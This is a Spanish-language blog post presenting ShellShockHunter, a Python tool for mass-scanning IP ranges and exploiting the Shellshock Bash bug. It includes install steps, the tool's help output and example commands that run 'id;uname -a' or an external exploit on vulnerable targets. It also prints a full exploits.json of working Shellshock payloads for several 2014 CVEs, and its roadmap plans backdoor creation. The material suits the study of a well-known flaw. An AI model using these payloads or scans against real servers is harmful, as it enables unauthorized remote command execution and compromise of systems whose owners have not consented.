ShellShockHunter Herramienta Probar Vulnerabilidad Shellshock
ShellShockHunter Herramienta Probar Vulnerabilidad Shellshock

ShellShockHunter: Herramienta para Probar Vulnerabilidad Shellshock

Es una herramienta sencilla para probar la vulnerabilidad shellshock.

La importancia de probar la vulnerabilidad Shellshock en aplicaciones web o servidores web es imprescindible. Hay muchas herramientas disponibles en línea que pueden usarse para averiguar si la vulnerabilidad existe o no. ShellshockHunter es una herramienta gratuita que realiza tal tarea.

Shellshock (fallo de software)

Shellshock, también conocido como Bashdoor, es una familia de fallos de seguridad en el shell Bash de Unix, el primero de los cuales fue revelado el 24 de septiembre de 2014. Shellshock podría permitir a un atacante hacer que Bash ejecute comandos arbitrarios y obtener acceso no autorizado a muchos servicios orientados a Internet, como los servidores web, que utilizan Bash para procesar solicitudes.

Espera, ¿ejecución remota de comandos en bash? Probablemente te estés preguntando: “¿Cómo puede alguien ejecutar remotamente comandos en un shell local?“.

La cuestión comienza con mod_cgi y cómo los servidores web interactúan con los programas CGI (que pueden estar escritos en Perl, PHP, Shell scripting o cualquier otro lenguaje). El servidor web les pasa variables de usuario (de entorno) para que puedan hacer su trabajo. En términos simples, esta vulnerabilidad permite a un atacante pasar un comando como variable que es ejecutado por bash.

Esto significa que si estás usando mod_cgi en tu servidor web y tienes un CGI escrito en shell script, estás en graves problemas. Deja todo ahora y parchea tus servidores.

Si tienes un CGI escrito en cualquier otro lenguaje, pero estás usando “system()“, “(backticks)” o ejecutando cualquier comando desde el CGI, estás en graves problemas. Deja todo ahora y parchea tus servidores.

Si no sabes lo que tienes, deja todo ahora y parchea tus servidores.

Descargo de responsabilidad

Este programa o los anteriores son SOLO para fines educativos. No lo utilices sin permiso. Se aplica la exención de responsabilidad habitual, especialmente el hecho de que @MrCl0wnLab no es responsable de ningún daño causado por el uso directo o indirecto de la información o la funcionalidad proporcionada por estos programas.

El autor o cualquier proveedor de Internet no tiene ninguna responsabilidad por el contenido o el mal uso de estos programas o sus derivados. Al utilizar estos programas aceptas el hecho de que cualquier daño (pérdida de datos, caída del sistema, compromiso del sistema, etc.) causado por el uso de estos programas no es responsabilidad de MrCl0wnLab ni de EsGeeks.

Instalación y Uso

Utiliza el gestor de paquetes pip para instalar las dependencias.

pip install shodan
pip install ipinfo

Para mostrar la ventana de ayuda, escribe:

python main.py --help
                                          ,/
                                        ,'/
                                      ,' /
                                    ,'  /_____,
                                  .'____    ,'    
                                        /  ,'
                                      / ,'
                                      /,'
                                    /'
             ____  _     _____ _     _     ____  _      ___       _    
            / ___|| |__ |___ /| |   | |   / ___|| |__  / _ \  ___| | __
            \___ \| '_ \  |_ \| |   | |   \___ \| '_ \| | | |/ __| |/ /
             ___) | | | |___) | |___| |___ ___) | | | | |_| | (__|   < 
            |____/|_| |_|____/|_____|_____|____/|_| |_|\___/ \___|_|\_\
                     __   _   _             _              __                  
                    | _| | | | |_   _ _ __ | |_ ___ _ __  |_ |                 
                    | |  | |_| | | | | '_ \| __/ _ \ '__|  | |                 
                    | |  |  _  | |_| | | | | ||  __/ |     | |                 
                    | |  |_| |_|\__,_|_| |_|\__\___|_|     | |                 
                    |__|                                  |__| v1.0                
                      By: MrCl0wn / https://blog.mrcl0wn.com                                                                          
         
usage: tool [-h] [--file <ips.txt>] [--range <ip-start>,<ip-end>] 
[--cmd-cgi <command shell>] [--exec-vuln <command shell>] [--thread <20>] 
[--check] [--ssl] [--cgi-file <cgi.txt>] [--timeout <5>] [--all] [--debug]

optional arguments:
  -h, --help                   show this help message and exit
  --file <ips.txt>             Input your target host lists
  --range <ip-start>,<ip-end>  Set range IP Eg.: 192.168.15.1,192.168.15.100
  --cmd-cgi <command shell>    Define shell command that will be executed in the payload
  --exec-vuln <command shell>  Executing commands on vulnerable targets
  --thread <20>, -t <20>       Eg. 20
  --check                      Check for shellshock vulnerability
  --ssl                        Enable request with SSL
  --cgi-file <cgi.txt>         Defines a CGI file to be used
  --timeout <5>                Set connection timeout
  --all                        Teste all payloads
  --debug, -d                  Enable debug mode

Ejemplos de comando:

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'
python main.py --range '194.206.187.X,194.206.187.XXX' --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'
python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'
python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' --all
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln 'curl -v -k -i "_TARGET_"'
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"'
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"' --debug

Capturas de pantalla

INICIO

Inicio de Programa

PROCESO

Proceso del programa
Proceso del programa

COMANDO ESPECIAL ( –exec-vuln ‘echo “TARGET“‘ )

Comando especial
Comando especial

COMANDO ( –debug )

Comando depuración
Comando depuración

Archivo fuente ( Exploits )

pwd: assets/exploits.json
{
    "DEFAULT":
        "() { :; }; echo ; /bin/bash -c '_COMMAND_'",
    "CVE-2014-6271": 
        "() { :; }; echo _CHECKER_; /bin/bash -c '_COMMAND_'",
    "CVE-2014-6271-2":
        "() { :;}; echo '_CHECKER_' 'BASH_FUNC_x()=() { :;}; echo _CHECKER_' bash -c 'echo _COMMAND_'",
    "CVE-2014-6271-3":
        "() { :; }; echo ; /bin/bash -c '_COMMAND_';echo _CHECKER_;",
    "CVE-2014-7169":
        "() { (a)=>\\' /bin/bash -c 'echo _CHECKER_'; cat echo",
    "CVE-2014-7186":
        "/bin/bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo '_CHECKER_, redir_stack'",
    "CVE-2014-7187":
        "(for x in {1..200} ; do echo \"for x$x in ; do :\"; done; for x in {1..200} ; do echo done ; done) | /bin/bash || echo '_CHECKER_, word_lineno'",
    "CVE-2014-6278":
        "() { _; } >_[$($())] { echo _CHECKER_; id; } /bin/bash -c '_COMMAND_'",
    "CVE-2014-6278-2":    
        "shellshocker='() { echo _CHECKER_; }' bash -c shellshocker",
    "CVE-2014-6277":
        "() { x() { _; }; x() { _; } <<a; } /bin/bash -c _COMMAND_;echo _CHECKER_",
    "CVE-2014-*":
        "() { }; echo _CHECKER_' /bin/bash -c '_COMMAND_'"
}

Archivo fuente ( Config )

pwd: assets/config.json
{
    "config": {
        "threads": 20,
        "path": {
            "path_output": "output/",
            "path_wordlist": "wordlist/",
            "path_modules": "modules/",
            "path_assets": "assets/"
        },
        "files_assets":{
            "config": "assets/config.json",
            "autor": "assets/autor.json",
            "exploits": "assets/exploits.json"
        },
        "api":{
            "shodan":"",
            "ipinfo":""
        }
    }
}

Árbol

├── assets
│   ├── autor.json
│   ├── config.json
│   ├── exploits.json
│   └── prints
│       ├── banner.png
│       ├── print00.png
│       ├── print01.png
│       ├── print02.png
│       └── print03.png
├── LICENSE
├── main.py
├── modules
│   ├── banner_shock.py
│   ├── color_shock.py
│   ├── debug_shock.py
│   ├── file_shock.py
│   ├── __init__.py
│   ├── request_shock.py
│   ├── shodan_shock.py
│   └── thread_shock.py
├── output
│   └── vuln.txt
├── README.md
└── wordlist
    └── cgi.txt

Hoja de ruta

Empecé este proyecto para estudiar un poco más de Python e interactuar más con APIS como shodan e ipinfo.

  • Estructura de la línea de comandos
  • Banner
  • Clase de gestión de archivos
  • Clase de gestión de HttpRequests
  • Clase de gestión de hilos
  • Archivo fuente de exploits
  • Color en el proceso
  • Shell Exec en objetivos vulnerables
  • Depuración de procesos
  • Integración con API ipinfo
  • Integración con API shodan
  • Integración con API Telegram
  • Creación de puertas traseras
  • Filtro visual
  • Manipulación de cabeceras
Más artículos
Cómo la Mayoría de Gente Empieza a Hackear
Cómo la Mayoría de la Gente Empieza a Hackear